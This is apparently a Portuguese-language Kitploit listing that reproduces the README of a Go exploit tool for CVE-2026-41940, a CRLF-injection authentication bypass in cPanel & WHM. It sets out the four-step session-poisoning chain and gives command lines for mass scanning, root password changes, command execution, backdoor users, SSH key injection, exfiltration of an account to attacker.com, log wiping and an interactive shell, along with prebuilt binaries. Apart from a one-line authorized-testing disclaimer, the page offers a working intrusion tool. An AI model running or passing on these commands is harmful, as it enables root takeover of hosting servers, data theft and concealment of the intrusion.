Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-41940-Exploit-PoC — Exploit PoC para CVE-2026-41940, uma bypass de autenticação no cPanel & WHM via injeção CRLF. Inclui varredura em massa, ações pós-exploração e um shell interativo para testes autorizados. | Kitploit
Ferramentas/GitHubGitHub/ishanoshada/cve-2026-41940-exploit-poc
Autenticação e AutorizaçãoScanners de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubishanoshada/cve-2026-41940-exploit-poc

CVE-2026-41940-Exploit-PoC

Exploit PoC para CVE-2026-41940, uma bypass de autenticação no cPanel & WHM via injeção CRLF. Inclui varredura em massa, ações pós-exploração e um shell interativo para testes autorizados.

Ver RepositórioSite
2127há 5 mesesAinda não revisado

CVE-2026-41940 Exploit PoC – Bypass de Autenticação cPanel & WHM

CVE-2026-41940 CVSS Go Version License

Ferramenta por: Ishan Oshada | GitHub

⚠️ APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS. Uso não autorizado é ilegal.

1


📋 Índice

  • Visão Geral da Vulnerabilidade
  • Cadeia de Exploração
  • Recursos
  • Instalação
  • Início Rápido
  • Exemplos de Uso (Tabela)
  • Ações Pós-Exploração
  • Comandos do Shell Interativo
  • Varredura em Massa com urls.txt
  • Exemplos de Saída
  • Referência de Opções
  • Versões Afetadas
  • Compilação para Todas as Plataformas
  • FAQ e Solução de Problemas
  • Aviso Legal
  • Autor

2

Visão Geral da Vulnerabilidade

CVE-2026-41940 é uma vulnerabilidade de injeção CRLF no cPanel & WHM (versões < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).

A função saveSession() grava os dados da sessão após aplicar filter_sessiondata(), mas o filtro é aplicado tarde demais. Ao injetar caracteres CRLF (\r\n) dentro do cabeçalho Authorization: Basic, um atacante pode envenenar o arquivo de sessão em disco com pares chave-valor arbitrários (por exemplo, hasroot=1, tfa_verified=1, user=root).

Quando a sessão envenenada é posteriormente carregada, o cPanel/WHM concede acesso total de root sem qualquer senha.

Pontuação CVSS: 10.0 (CRÍTICA)

  • Vetor de Ataque: Rede
  • Complexidade do Ataque: Baixa
  • Privilégios Necessários: Nenhum
  • Interação do Usuário: Nenhuma
  • Confidencialidade: Alta
  • Integridade: Alta
  • Disponibilidade: Alta

Cadeia de Exploração (4 Estágios)

EstágioAçãoDescrição
1POST /login/?login_only=1Solicitar cookie de sessão pré-autenticação com credenciais incorretas
2GET / + cabeçalho Authorization com CRLFEnvenenar o arquivo de sessão com hasroot=1, user=root, etc.
3GET /scripts2/listacctsForçar o cache de sessão a recarregar o arquivo envenenado (propagação)
4GET /cpsess<TOKEN>/json-api/versionVerificar acesso root – sucesso = 200 + dados da versão

Recursos

  • ✅ Varredura única e em massa (entrada de arquivo, pipe stdin)
  • ✅ Varredura com threads (controle de concorrência até 100+ threads)
  • ✅ Modo verboso (--verbose) – mostra requisições/respostas HTTP completas
  • ✅ Saída JSON (salva automaticamente quando um alvo vulnerável é encontrado)
  • ✅ 10 ações pós-exploração (veja a tabela abaixo)
  • ✅ Multiplataforma (Windows, Linux, macOS)
  • ✅ Sem dependências externas (apenas biblioteca padrão do Go)
  • ✅ Saída colorida no terminal com resultados em caixas claras
  • ✅ Persistência de sessão – mecanismo de keep-alive
  • ✅ Shell WHM interativo com histórico de comandos

Instalação

Pré-requisitos

  • Go 1.20 ou superior (Download)

Clonar Repositório

git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC

Compilar Executável

Windows

go build -o cpanel_sniper.exe main.go

Linux / macOS

go build -o cpanel_sniper main.go
chmod +x cpanel_sniper

Executar Diretamente (Sem Compilar)

go run main.go -u https://target.com:2087

Binários Pré-compilados (Forma Mais Rápida)

Em vez de compilar a partir do código-fonte, você pode baixar os executáveis estáveis mais recentes diretamente do repositório. Eles são gerados automaticamente a cada atualização:

PlataformaLocalização
Windows (x64)/bin/windows_x64/cpanel_sniper.exe
Linux (x64)/bin/linux_x64/cpanel_sniper
Linux (ARM64)/bin/linux_arm64/cpanel_sniper
macOS (Intel)/bin/mac_intel/cpanel_sniper
macOS (M1/M2/M3)/bin/mac_m1_m2/cpanel_sniper

Nota: Se estiver usando Linux ou macOS, lembre-se de conceder permissões de execução após o download:


Início Rápido

# Varredura básica
go run main.go -u https://target.com:2087

# Listar todas as contas cPanel
go run main.go -u https://target.com:2087 -action list

# Shell WHM interativo
go run main.go -u https://target.com:2087 -action shell

# Varredura em massa com urls.txt
go run main.go -l urls.txt -t 20 -o results.json

Exemplos de Uso (Tabela)

#FinalidadeComando
1Varredura básica de alvo únicogo run main.go -u https://target.com:2087
2Listar todas as contas cPanelgo run main.go -u https://target.com:2087 -action list
3Alterar senha de rootgo run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006"
4Executar comando do sistemago run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami"
5Obter informações do servidorgo run main.go -u https://target.com:2087 -action info
6Criar usuário backdoorgo run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006"
7Criar token de API (furtivo)go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken
8Injetar chave SSHgo run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..."
9Despejar e exfiltrar contago run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload
10Apagar logs e cobrir rastrosgo run main.go -u https://target.com:2087 -action wipe
11Shell WHM interativogo run main.go -u https://target.com:2087 -action shell
12Varredura em massa a partir de arquivogo run main.go -l urls.txt -t 20 -o results.json
13Salvar resultados em JSONgo run main.go -u https://target.com:2087 -o scan_results.json
14Ativar depuração verbosago run main.go -u https://target.com:2087 --verbose
15Pipe de outras ferramentascat urls.txt | go run main.go -t 20
16Aumentar timeoutgo run main.go -u https://target.com:2087 -timeout 30

Ações Pós-Exploração

Baixar ferramenta